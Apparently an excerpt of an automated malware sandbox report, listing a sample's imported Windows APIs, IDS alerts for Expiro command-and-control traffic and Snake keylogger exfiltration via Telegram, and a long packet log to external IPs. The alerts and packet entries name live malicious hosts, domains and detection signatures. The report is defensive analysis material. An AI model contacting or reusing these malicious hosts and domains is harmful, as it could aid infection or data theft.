GDI32.dll	StrokePath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, GetDeviceCaps, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, DeleteDC, GetPixel, CreateDCW, GetStockObject, GetTextFaceW, CreateFontW, SetTextColor, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, StrokeAndFillPath
COMDLG32.dll	GetOpenFileNameW, GetSaveFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, RegCreateKeyExW, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, AddAce, SetSecurityDescriptorDacl, GetUserNameW, InitiateSystemShutdownExW
SHELL32.dll	DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoSetProxyBlanket, CoCreateInstanceEx, CoInitializeSecurity
OLEAUT32.dll	LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, RegisterTypeLib, CreateStdDispatch, DispCallFunc, VariantChangeType, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, VariantCopy, VariantClear, OleLoadPicture, QueryPathOfRegTypeLib, RegisterTypeLibForUser, UnRegisterTypeLibForUser, UnRegisterTypeLib, CreateDispTypeInfo, SysAllocString, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-10T16:24:14.594215+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	54.244.188.177	80	192.168.2.7	49702	TCP
2024-12-10T16:24:14.594215+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	54.244.188.177	80	192.168.2.7	49702	TCP
2024-12-10T16:24:16.280523+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49708	193.122.6.168	80	TCP
2024-12-10T16:24:17.429865+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	18.141.10.107	80	192.168.2.7	49709	TCP
2024-12-10T16:24:17.429865+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	18.141.10.107	80	192.168.2.7	49709	TCP
2024-12-10T16:24:19.430559+0100	2850851	ETPRO MALWARE Win32/Expiro.NDO CnC Activity	1	192.168.2.7	49716	54.244.188.177	80	TCP
2024-12-10T16:24:22.325560+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	44.221.84.105	80	192.168.2.7	49727	TCP
2024-12-10T16:24:22.325560+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	44.221.84.105	80	192.168.2.7	49727	TCP
2024-12-10T16:24:22.340004+0100	2051648	ET MALWARE DNS Query to Expiro Related Domain (przvgke .biz)	1	192.168.2.7	64298	1.1.1.1	53	UDP
2024-12-10T16:24:24.389865+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49708	193.122.6.168	80	TCP
2024-12-10T16:24:26.952913+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	49736	149.154.167.220	443	TCP
2024-12-10T16:24:28.998498+0100	2051649	ET MALWARE DNS Query to Expiro Related Domain (knjghuig .biz)	1	192.168.2.7	63892	1.1.1.1	53	UDP
2024-12-10T16:25:41.188310+0100	2850851	ETPRO MALWARE Win32/Expiro.NDO CnC Activity	1	192.168.2.7	49872	82.112.184.197	80	TCP
2024-12-10T16:26:07.491789+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	47.129.31.212	80	192.168.2.7	49966	TCP
2024-12-10T16:26:07.491789+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	47.129.31.212	80	192.168.2.7	49966	TCP
2024-12-10T16:26:10.308197+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	13.251.16.150	80	192.168.2.7	49972	TCP
2024-12-10T16:26:10.308197+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	13.251.16.150	80	192.168.2.7	49972	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 16:24:12.872718096 CET	49701	80	192.168.2.7	54.244.188.177
Dec 10, 2024 16:24:12.991986036 CET	80	49701	54.244.188.177	192.168.2.7
Dec 10, 2024 16:24:12.992096901 CET	49701	80	192.168.2.7	54.244.188.177
Dec 10, 2024 16:24:13.014163017 CET	49702	80	192.168.2.7	54.244.188.177
Dec 10, 2024 16:24:13.038033962 CET	49701	80	192.168.2.7	54.244.188.177
Dec 10, 2024 16:24:13.038115978 CET	49701	80	192.168.2.7	54.244.188.177
Dec 10, 2024 16:24:13.133850098 CET	80	49702	54.244.188.177	192.168.2.7
Dec 10, 2024 16:24:13.133955956 CET	49702	80	192.168.2.7	54.244.188.177
Dec 10, 2024 16:24:13.134259939 CET	49702	80	192.168.2.7	54.244.188.177
Dec 10, 2024 16:24:13.134322882 CET	49702	80	192.168.2.7	54.244.188.177
Dec 10, 2024 16:24:13.157423973 CET	80	49701	54.244.188.177	192.168.2.7
Dec 10, 2024 16:24:13.157485962 CET	80	49701	54.244.188.177	192.168.2.7
Dec 10, 2024 16:24:13.254983902 CET	80	49702	54.244.188.177	192.168.2.7
Dec 10, 2024 16:24:13.255012989 CET	80	49702	54.244.188.177	192.168.2.7
Dec 10, 2024 16:24:14.337663889 CET	80	49701	54.244.188.177	192.168.2.7
Dec 10, 2024 16:24:14.338078976 CET	80	49701	54.244.188.177	192.168.2.7
Dec 10, 2024 16:24:14.338140011 CET	49701	80	192.168.2.7	54.244.188.177
Dec 10, 2024 16:24:14.425139904 CET	49708	80	192.168.2.7	193.122.6.168
Dec 10, 2024 16:24:14.474680901 CET	80	49702	54.244.188.177	192.168.2.7
Dec 10, 2024 16:24:14.474742889 CET	80	49702	54.244.188.177	192.168.2.7
Dec 10, 2024 16:24:14.474791050 CET	49702	80	192.168.2.7	54.244.188.177
Dec 10, 2024 16:24:14.474864006 CET	49702	80	192.168.2.7	54.244.188.177
Dec 10, 2024 16:24:14.515625000 CET	49701	80	192.168.2.7	54.244.188.177
Dec 10, 2024 16:24:14.544408083 CET	80	49708	193.122.6.168	192.168.2.7
Dec 10, 2024 16:24:14.544487953 CET	49708	80	192.168.2.7	193.122.6.168
Dec 10, 2024 16:24:14.544823885 CET	49708	80	192.168.2.7	193.122.6.168
Dec 10, 2024 16:24:14.594214916 CET	80	49702	54.244.188.177	192.168.2.7
Dec 10, 2024 16:24:14.665361881 CET	80	49708	193.122.6.168	192.168.2.7
Dec 10, 2024 16:24:15.124764919 CET	49709	80	192.168.2.7	18.141.10.107
Dec 10, 2024 16:24:15.244227886 CET	80	49709	18.141.10.107	192.168.2.7
Dec 10, 2024 16:24:15.244374037 CET	49709	80	192.168.2.7	18.141.10.107
Dec 10, 2024 16:24:15.244730949 CET	49709	80	192.168.2.7	18.141.10.107
Dec 10, 2024 16:24:15.244730949 CET	49709	80	192.168.2.7	18.141.10.107
Dec 10, 2024 16:24:15.364280939 CET	80	49709	18.141.10.107	192.168.2.7
Dec 10, 2024 16:24:15.364425898 CET	80	49709	18.141.10.107	192.168.2.7
Dec 10, 2024 16:24:15.817994118 CET	80	49708	193.122.6.168	192.168.2.7
Dec 10, 2024 16:24:15.823390961 CET	49708	80	192.168.2.7	193.122.6.168
Dec 10, 2024 16:24:15.943402052 CET	80	49708	193.122.6.168	192.168.2.7
Dec 10, 2024 16:24:16.229127884 CET	80	49708	193.122.6.168	192.168.2.7
Dec 10, 2024 16:24:16.280523062 CET	49708	80	192.168.2.7	193.122.6.168
Dec 10, 2024 16:24:16.897190094 CET	49715	443	192.168.2.7	104.21.67.152
Dec 10, 2024 16:24:16.897244930 CET	443	49715	104.21.67.152	192.168.2.7
Dec 10, 2024 16:24:16.897314072 CET	49715	443	192.168.2.7	104.21.67.152
Dec 10, 2024 16:24:17.009179115 CET	49715	443	192.168.2.7	104.21.67.152
Dec 10, 2024 16:24:17.009196997 CET	443	49715	104.21.67.152	192.168.2.7
Dec 10, 2024 16:24:17.245935917 CET	80	49709	18.141.10.107	192.168.2.7
Dec 10, 2024 16:24:17.246032953 CET	80	49709	18.141.10.107	192.168.2.7
Dec 10, 2024 16:24:17.246112108 CET	49709	80	192.168.2.7	18.141.10.107
Dec 10, 2024 16:24:17.308262110 CET	49709	80	192.168.2.7	18.141.10.107
Dec 10, 2024 16:24:17.429864883 CET	80	49709	18.141.10.107	192.168.2.7
Dec 10, 2024 16:24:17.962205887 CET	49716	80	192.168.2.7	54.244.188.177
Dec 10, 2024 16:24:18.081717968 CET	80	49716	54.244.188.177	192.168.2.7
Dec 10, 2024 16:24:18.081819057 CET	49716	80	192.168.2.7	54.244.188.177
Dec 10, 2024 16:24:18.081989050 CET	49716	80	192.168.2.7	54.244.188.177
Dec 10, 2024 16:24:18.082005024 CET	49716	80	192.168.2.7	54.244.188.177
Dec 10, 2024 16:24:18.202076912 CET	80	49716	54.244.188.177	192.168.2.7
Dec 10, 2024 16:24:18.202092886 CET	80	49716	54.244.188.177	192.168.2.7
Dec 10, 2024 16:24:18.231993914 CET	443	49715	104.21.67.152	192.168.2.7
Dec 10, 2024 16:24:18.232069016 CET	49715	443	192.168.2.7	104.21.67.152
Dec 10, 2024 16:24:18.238039970 CET	49715	443	192.168.2.7	104.21.67.152
Dec 10, 2024 16:24:18.238046885 CET	443	49715	104.21.67.152	192.168.2.7
Dec 10, 2024 16:24:18.238405943 CET	443	49715	104.21.67.152	192.168.2.7
Dec 10, 2024 16:24:18.280455112 CET	49715	443	192.168.2.7	104.21.67.152
Dec 10, 2024 16:24:18.292227030 CET	49715	443	192.168.2.7	104.21.67.152
Dec 10, 2024 16:24:18.335340977 CET	443	49715	104.21.67.152	192.168.2.7
Dec 10, 2024 16:24:18.677464008 CET	443	49715	104.21.67.152	192.168.2.7
Dec 10, 2024 16:24:18.677530050 CET	443	49715	104.21.67.152	192.168.2.7
Dec 10, 2024 16:24:18.677582979 CET	49715	443	192.168.2.7	104.21.67.152
Dec 10, 2024 16:24:18.683067083 CET	49715	443	192.168.2.7	104.21.67.152
Dec 10, 2024 16:24:19.430260897 CET	80	49716	54.244.188.177	192.168.2.7
Dec 10, 2024 16:24:19.430524111 CET	80	49716	54.244.188.177	192.168.2.7
Dec 10, 2024 16:24:19.430558920 CET	49716	80	192.168.2.7	54.244.188.177
Dec 10, 2024 16:24:19.431195021 CET	49716	80	192.168.2.7	54.244.188.177
Dec 10, 2024 16:24:19.551841974 CET	80	49716	54.244.188.177	192.168.2.7
Dec 10, 2024 16:24:21.104758978 CET	49727	80	192.168.2.7	44.221.84.105
Dec 10, 2024 16:24:21.227498055 CET	80	49727	44.221.84.105	192.168.2.7
Dec 10, 2024 16:24:21.227607012 CET	49727	80	192.168.2.7	44.221.84.105
Dec 10, 2024 16:24:21.235524893 CET	49727	80	192.168.2.7	44.221.84.105
Dec 10, 2024 16:24:21.235548973 CET	49727	80	192.168.2.7	44.221.84.105
Dec 10, 2024 16:24:21.354918957 CET	80	49727	44.221.84.105	192.168.2.7
Dec 10, 2024 16:24:21.354933977 CET	80	49727	44.221.84.105	192.168.2.7
Dec 10, 2024 16:24:22.325201988 CET	80	49727	44.221.84.105	192.168.2.7
Dec 10, 2024 16:24:22.325351000 CET	49727	80	192.168.2.7	44.221.84.105
Dec 10, 2024 16:24:22.325560093 CET	80	49727	44.221.84.105	192.168.2.7
Dec 10, 2024 16:24:22.325835943 CET	49727	80	192.168.2.7	44.221.84.105
Dec 10, 2024 16:24:22.444806099 CET	80	49727	44.221.84.105	192.168.2.7
Dec 10, 2024 16:24:22.960784912 CET	49734	80	192.168.2.7	172.234.222.138
Dec 10, 2024 16:24:23.080198050 CET	80	49734	172.234.222.138	192.168.2.7
Dec 10, 2024 16:24:23.080302954 CET	49734	80	192.168.2.7	172.234.222.138
Dec 10, 2024 16:24:23.080528021 CET	49734	80	192.168.2.7	172.234.222.138
Dec 10, 2024 16:24:23.080619097 CET	49734	80	192.168.2.7	172.234.222.138
Dec 10, 2024 16:24:23.199898958 CET	80	49734	172.234.222.138	192.168.2.7
Dec 10, 2024 16:24:23.200014114 CET	80	49734	172.234.222.138	192.168.2.7
Dec 10, 2024 16:24:23.931077003 CET	49708	80	192.168.2.7	193.122.6.168
Dec 10, 2024 16:24:24.050472975 CET	80	49708	193.122.6.168	192.168.2.7
Dec 10, 2024 16:24:24.217123032 CET	80	49734	172.234.222.138	192.168.2.7
Dec 10, 2024 16:24:24.264908075 CET	49734	80	192.168.2.7	172.234.222.138
Dec 10, 2024 16:24:24.335911989 CET	80	49708	193.122.6.168	192.168.2.7
Dec 10, 2024 16:24:24.389864922 CET	49708	80	192.168.2.7	193.122.6.168
Dec 10, 2024 16:24:24.850805044 CET	49736	443	192.168.2.7	149.154.167.220
Dec 10, 2024 16:24:24.850857019 CET	443	49736	149.154.167.220	192.168.2.7
Dec 10, 2024 16:24:24.850922108 CET	49736	443	192.168.2.7	149.154.167.220
Dec 10, 2024 16:24:24.851960897 CET	49736	443	192.168.2.7	149.154.167.220
Dec 10, 2024 16:24:24.851983070 CET	443	49736	149.154.167.220	192.168.2.7
Dec 10, 2024 16:24:25.057353973 CET	49741	80	192.168.2.7	72.52.179.174
Dec 10, 2024 16:24:25.179490089 CET	80	49741	72.52.179.174	192.168.2.7
Dec 10, 2024 16:24:25.179574013 CET	49741	80	192.168.2.7	72.52.179.174
Dec 10, 2024 16:24:25.179752111 CET	49741	80	192.168.2.7	72.52.179.174
Dec 10, 2024 16:24:25.299043894 CET	80	49741	72.52.179.174	192.168.2.7
Dec 10, 2024 16:24:26.232204914 CET	443	49736	149.154.167.220	192.168.2.7
Dec 10, 2024 16:24:26.232698917 CET	49736	443	192.168.2.7	149.154.167.220
Dec 10, 2024 16:24:26.234596968 CET	49736	443	192.168.2.7	149.154.167.220
Dec 10, 2024 16:24:26.234607935 CET	443	49736	149.154.167.220	192.168.2.7
Dec 10, 2024 16:24:26.234952927 CET	443	49736	149.154.167.220	192.168.2.7
Dec 10, 2024 16:24:26.236915112 CET	49736	443	192.168.2.7	149.154.167.220
Dec 10, 2024 16:24:26.283333063 CET	443	49736	149.154.167.220	192.168.2.7
Dec 10, 2024 16:24:26.283406019 CET	49736	443	192.168.2.7	149.154.167.220
Dec 10, 2024 16:24:26.283418894 CET	443	49736	149.154.167.220	192.168.2.7
Dec 10, 2024 16:24:26.348642111 CET	80	49741	72.52.179.174	192.168.2.7
Dec 10, 2024 16:24:26.446080923 CET	49741	80	192.168.2.7	72.52.179.174
Dec 10, 2024 16:24:26.788472891 CET	49745	80	192.168.2.7	76.223.26.96
Dec 10, 2024 16:24:26.907721043 CET	80	49745	76.223.26.96	192.168.2.7
Dec 10, 2024 16:24:26.907799006 CET	49745	80	192.168.2.7	76.223.26.96
Dec 10, 2024 16:24:26.908724070 CET	49745	80	192.168.2.7	76.223.26.96
Dec 10, 2024 16:24:26.952945948 CET	443	49736	149.154.167.220	192.168.2.7
Dec 10, 2024 16:24:26.953474045 CET	443	49736	149.154.167.220	192.168.2.7
Dec 10, 2024 16:24:26.953552008 CET	49736	443	192.168.2.7	149.154.167.220
Dec 10, 2024 16:24:26.953963041 CET	49736	443	192.168.2.7	149.154.167.220
Dec 10, 2024 16:24:27.028012037 CET	80	49745	76.223.26.96	192.168.2.7
Dec 10, 2024 16:24:28.200849056 CET	80	49745	76.223.26.96	192.168.2.7
Dec 10, 2024 16:24:28.201351881 CET	80	49745	76.223.26.96	192.168.2.7
Dec 10, 2024 16:24:28.201412916 CET	49745	80	192.168.2.7	76.223.26.96
Dec 10, 2024 16:24:28.202661991 CET	80	49745	76.223.26.96	192.168.2.7
Dec 10, 2024 16:24:28.202676058 CET	80	49745	76.223.26.96	192.168.2.7
Dec 10, 2024 16:24:28.202718973 CET	49745	80	192.168.2.7	76.223.26.96
Dec 10, 2024 16:24:28.205384970 CET	80	49745	76.223.26.96	192.168.2.7
Dec 10, 2024 16:24:28.205398083 CET	80	49745	76.223.26.96	192.168.2.7
Dec 10, 2024 16:24:28.205440998 CET	49745	80	192.168.2.7	76.223.26.96
Dec 10, 2024 16:24:28.208373070 CET	80	49745	76.223.26.96	192.168.2.7
Dec 10, 2024 16:24:28.208412886 CET	80	49745	76.223.26.96	192.168.2.7
Dec 10, 2024 16:24:28.208462000 CET	49745	80	192.168.2.7	76.223.26.96
Dec 10, 2024 16:24:28.211345911 CET	80	49745	76.223.26.96	192.168.2.7
Dec 10, 2024 16:24:28.211359978 CET	80	49745	76.223.26.96	192.168.2.7
Dec 10, 2024 16:24:28.211404085 CET	49745	80	192.168.2.7	76.223.26.96
Dec 10, 2024 16:24:28.320898056 CET	80	49745	76.223.26.96	192.168.2.7
Dec 10, 2024 16:24:28.321336031 CET	80	49745	76.223.26.96	192.168.2.7
Dec 10, 2024 16:24:28.322058916 CET	49745	80	192.168.2.7	76.223.26.96
Dec 10, 2024 16:24:28.440660000 CET	80	49745	76.223.26.96	192.168.2.7
Dec 10, 2024 16:24:28.440675974 CET	80	49745	76.223.26.96	192.168.2.7
Dec 10, 2024 16:24:28.440834045 CET	49745	80	192.168.2.7	76.223.26.96
Dec 10, 2024 16:24:28.496308088 CET	80	49745	76.223.26.96	192.168.2.7
Dec 10, 2024 16:24:28.568732977 CET	49734	80	192.168.2.7	172.234.222.138
Dec 10, 2024 16:24:28.568873882 CET	49734	80	192.168.2.7	172.234.222.138
Dec 10, 2024 16:24:28.626753092 CET	49745	80	192.168.2.7	76.223.26.96
Dec 10, 2024 16:24:28.689446926 CET	80	49734	172.234.222.138	192.168.2.7
Dec 10, 2024 16:24:28.689462900 CET	80	49734	172.234.222.138	192.168.2.7
Dec 10, 2024 16:24:28.750345945 CET	49734	80	192.168.2.7	172.234.222.138
Dec 10, 2024 16:24:29.910882950 CET	49756	80	192.168.2.7	18.141.10.107
Dec 10, 2024 16:24:30.030323982 CET	80	49756	18.141.10.107	192.168.2.7
Dec 10, 2024 16:24:30.030510902 CET	49756	80	192.168.2.7	18.141.10.107
Dec 10, 2024 16:24:30.030884027 CET	49756	80	192.168.2.7	18.141.10.107
Dec 10, 2024 16:24:30.031089067 CET	49756	80	192.168.2.7	18.141.10.107
Dec 10, 2024 16:24:30.151407003 CET	80	49756	18.141.10.107	192.168.2.7
Dec 10, 2024 16:24:30.151711941 CET	80	49756	18.141.10.107	192.168.2.7
Dec 10, 2024 16:24:32.045830965 CET	80	49756	18.141.10.107	192.168.2.7
Dec 10, 2024 16:24:32.045964003 CET	80	49756	18.141.10.107	192.168.2.7
Dec 10, 2024 16:24:32.046014071 CET	49756	80	192.168.2.7	18.141.10.107
Dec 10, 2024 16:24:32.056807041 CET	49756	80	192.168.2.7	18.141.10.107
Dec 10, 2024 16:24:32.177256107 CET	80	49756	18.141.10.107	192.168.2.7
Dec 10, 2024 16:24:33.639868975 CET	49763	80	192.168.2.7	82.112.184.197
Dec 10, 2024 16:24:33.759186029 CET	80	49763	82.112.184.197	192.168.2.7
Dec 10, 2024 16:24:33.760617971 CET	49763	80	192.168.2.7	82.112.184.197
Dec 10, 2024 16:24:33.760775089 CET	49763	80	192.168.2.7	82.112.184.197
Dec 10, 2024 16:24:33.760775089 CET	49763	80	192.168.2.7	82.112.184.197
Dec 10, 2024 16:24:33.880078077 CET	80	49763	82.112.184.197	192.168.2.7
Dec 10, 2024 16:24:33.880439043 CET	80	49763	82.112.184.197	192.168.2.7
Dec 10, 2024 16:24:55.667368889 CET	80	49763	82.112.184.197	192.168.2.7
Dec 10, 2024 16:24:55.667462111 CET	49763	80	192.168.2.7	82.112.184.197
Dec 10, 2024 16:24:55.667503119 CET	49763	80	192.168.2.7	82.112.184.197
Dec 10, 2024 16:24:55.708422899 CET	49815	80	192.168.2.7	82.112.184.197
Dec 10, 2024 16:24:55.789789915 CET	80	49763	82.112.184.197	192.168.2.7
Dec 10, 2024 16:24:55.833307028 CET	80	49815	82.112.184.197	192.168.2.7
Dec 10, 2024 16:24:55.833385944 CET	49815	80	192.168.2.7	82.112.184.197
Dec 10, 2024 16:24:55.833528042 CET	49815	80	192.168.2.7	82.112.184.197
Dec 10, 2024 16:24:55.833553076 CET	49815	80	192.168.2.7	82.112.184.197
Dec 10, 2024 16:24:55.953087091 CET	80	49815	82.112.184.197	192.168.2.7
Dec 10, 2024 16:24:55.953105927 CET	80	49815	82.112.184.197	192.168.2.7
Dec 10, 2024 16:25:17.746329069 CET	80	49815	82.112.184.197	192.168.2.7
Dec 10, 2024 16:25:17.749310017 CET	49815	80	192.168.2.7	82.112.184.197
Dec 10, 2024 16:25:17.806333065 CET	49815	80	192.168.2.7	82.112.184.197
Dec 10, 2024 16:25:17.925880909 CET	80	49815	82.112.184.197	192.168.2.7
Dec 10, 2024 16:25:19.098836899 CET	49872	80	192.168.2.7	82.112.184.197
Dec 10, 2024 16:25:19.262886047 CET	80	49872	82.112.184.197	192.168.2.7
Dec 10, 2024 16:25:19.262975931 CET	49872	80	192.168.2.7	82.112.184.197
Dec 10, 2024 16:25:19.263192892 CET	49872	80	192.168.2.7	82.112.184.197
Dec 10, 2024 16:25:19.263308048 CET	49872	80	192.168.2.7	82.112.184.197
Dec 10, 2024 16:25:19.425132990 CET	80	49872	82.112.184.197	192.168.2.7
Dec 10, 2024 16:25:19.425146103 CET	80	49872	82.112.184.197	192.168.2.7
Dec 10, 2024 16:25:29.336591005 CET	80	49708	193.122.6.168	192.168.2.7
Dec 10, 2024 16:25:29.336682081 CET	49708	80	192.168.2.7	193.122.6.168
Dec 10, 2024 16:25:31.350153923 CET	80	49741	72.52.179.174	192.168.2.7
Dec 10, 2024 16:25:31.350229025 CET	49741	80	192.168.2.7	72.52.179.174
Dec 10, 2024 16:25:31.350336075 CET	49741	80	192.168.2.7	72.52.179.174
Dec 10, 2024 16:25:31.469614029 CET	80	49741	72.52.179.174	192.168.2.7
Dec 10, 2024 16:25:41.188249111 CET	80	49872	82.112.184.197	192.168.2.7
Dec 10, 2024 16:25:41.188309908 CET	49872	80	192.168.2.7	82.112.184.197
Dec 10, 2024 16:25:41.188911915 CET	49872	80	192.168.2.7	82.112.184.197
Dec 10, 2024 16:25:41.196644068 CET	49916	80	192.168.2.7	82.112.184.197
Dec 10, 2024 16:25:41.308339119 CET	80	49872	82.112.184.197	192.168.2.7
Dec 10, 2024 16:25:41.316071987 CET	80	49916	82.112.184.197	192.168.2.7
Dec 10, 2024 16:25:41.316159964 CET	49916	80	192.168.2.7	82.112.184.197
Dec 10, 2024 16:25:41.324840069 CET	49916	80	192.168.2.7	82.112.184.197
Dec 10, 2024 16:25:41.324919939 CET	49916	80	192.168.2.7	82.112.184.197
Dec 10, 2024 16:25:41.444447041 CET	80	49916	82.112.184.197	192.168.2.7
Dec 10, 2024 16:25:41.444581985 CET	80	49916	82.112.184.197	192.168.2.7
Dec 10, 2024 16:25:58.687853098 CET	49708	80	192.168.2.7	193.122.6.168
Dec 10, 2024 16:25:58.807357073 CET	80	49708	193.122.6.168	192.168.2.7
Dec 10, 2024 16:26:03.215996981 CET	80	49916	82.112.184.197	192.168.2.7
Dec 10, 2024 16:26:03.216077089 CET	49916	80	192.168.2.7	82.112.184.197
Dec 10, 2024 16:26:04.099107027 CET	49745	80	192.168.2.7	76.223.26.96
Dec 10, 2024 16:26:04.115169048 CET	49916	80	192.168.2.7	82.112.184.197
Dec 10, 2024 16:26:04.220069885 CET	80	49745	76.223.26.96	192.168.2.7
Dec 10, 2024 16:26:04.220127106 CET	49745	80	192.168.2.7	76.223.26.96
Dec 10, 2024 16:26:04.234675884 CET	80	49916	82.112.184.197	192.168.2.7
Dec 10, 2024 16:26:04.754178047 CET	49966	80	192.168.2.7	47.129.31.212
Dec 10, 2024 16:26:04.873568058 CET	80	49966	47.129.31.212	192.168.2.7
Dec 10, 2024 16:26:04.873647928 CET	49966	80	192.168.2.7	47.129.31.212
Dec 10, 2024 16:26:04.881828070 CET	49966	80	192.168.2.7	47.129.31.212
Dec 10, 2024 16:26:04.881864071 CET	49966	80	192.168.2.7	47.129.31.212
Dec 10, 2024 16:26:05.001605034 CET	80	49966	47.129.31.212	192.168.2.7
Dec 10, 2024 16:26:05.001617908 CET	80	49966	47.129.31.212	192.168.2.7
Dec 10, 2024 16:26:06.959920883 CET	80	49966	47.129.31.212	192.168.2.7
Dec 10, 2024 16:26:06.959955931 CET	80	49966	47.129.31.212	192.168.2.7
Dec 10, 2024 16:26:06.960016966 CET	49966	80	192.168.2.7	47.129.31.212
Dec 10, 2024 16:26:07.243092060 CET	49966	80	192.168.2.7	47.129.31.212
Dec 10, 2024 16:26:07.491789103 CET	80	49966	47.129.31.212	192.168.2.7
Dec 10, 2024 16:26:07.978811979 CET	49972	80	192.168.2.7	13.251.16.150
Dec 10, 2024 16:26:08.098170996 CET	80	49972	13.251.16.150	192.168.2.7
Dec 10, 2024 16:26:08.098263979 CET	49972	80	192.168.2.7	13.251.16.150
Dec 10, 2024 16:26:08.098440886 CET	49972	80	192.168.2.7	13.251.16.150
Dec 10, 2024 16:26:08.098464966 CET	49972	80	192.168.2.7	13.251.16.150
Dec 10, 2024 16:26:08.218617916 CET	80	49972	13.251.16.150	192.168.2.7
Dec 10, 2024 16:26:08.218683958 CET	80	49972	13.251.16.150	192.168.2.7
Dec 10, 2024 16:26:10.184322119 CET	80	49972	13.251.16.150	192.168.2.7
Dec 10, 2024 16:26:10.184428930 CET	80	49972	13.251.16.150	192.168.2.7
Dec 10, 2024 16:26:10.184497118 CET	49972	80	192.168.2.7	13.251.16.150
Dec 10, 2024 16:26:10.186763048 CET	49972	80	192.168.2.7	13.251.16.150
Dec 10, 2024 16:26:10.308197021 CET	80	49972	13.251.16.150	192.168.2.7
Dec 10, 2024 16:26:10.788422108 CET	49978	80	192.168.2.7	44.221.84.105
Dec 10, 2024 16:26:10.911365032 CET	80	49978	44.221.84.105	192.168.2.7
Dec 10, 2024 16:26:10.914324045 CET	49978	80	192.168.2.7	44.221.84.105
Dec 10, 2024 16:26:10.914565086 CET	49978	80	192.168.2.7	44.221.84.105
Dec 10, 2024 16:26:10.914565086 CET	49978	80	192.168.2.7	44.221.84.105
Dec 10, 2024 16:26:11.153440952 CET	80	49978	44.221.84.105	192.168.2.7
Dec 10, 2024 16:26:11.153460979 CET	80	49978	44.221.84.105	192.168.2.7
Dec 10, 2024 16:26:12.340123892 CET	80	49978	44.221.84.105	192.168.2.7
Dec 10, 2024 16:26:12.340250969 CET	80	49978	44.221.84.105	192.168.2.7
Dec 10, 2024 16:26:12.340301037 CET	49978	80	192.168.2.7	44.221.84.105
Dec 10, 2024 16:26:12.340301037 CET	49978	80	192.168.2.7	44.221.84.105
Dec 10, 2024 16:26:12.460459948 CET	80	49978	44.221.84.105	192.168.2.7
Dec 10, 2024 16:26:13.559483051 CET	49984	80	192.168.2.7	18.141.10.107
Dec 10, 2024 16:26:13.685396910 CET	80	49984	18.141.10.107	192.168.2.7
Dec 10, 2024 16:26:13.685497046 CET	49984	80	192.168.2.7	18.141.10.107
Dec 10, 2024 16:26:13.685950994 CET	49984	80	192.168.2.7	18.141.10.107
Dec 10, 2024 16:26:13.685950994 CET	49984	80	192.168.2.7	18.141.10.107
Dec 10, 2024 16:26:13.806757927 CET	80	49984	18.141.10.107	192.168.2.7
Dec 10, 2024 16:26:13.806847095 CET	80	49984	18.141.10.107	192.168.2.7
Dec 10, 2024 16:26:16.152347088 CET	80	49984	18.141.10.107	192.168.2.7
Dec 10, 2024 16:26:16.152421951 CET	80	49984	18.141.10.107	192.168.2.7
Dec 10, 2024 16:26:16.152518988 CET	49984	80	192.168.2.7	18.141.10.107
Dec 10, 2024 16:26:16.152580976 CET	49984	80	192.168.2.7	18.141.10.107
Dec 10, 2024 16:26:16.271867037 CET	80	49984	18.141.10.107	192.168.2.7
Dec 10, 2024 16:26:16.691895962 CET	49990	80	192.168.2.7	172.234.222.143
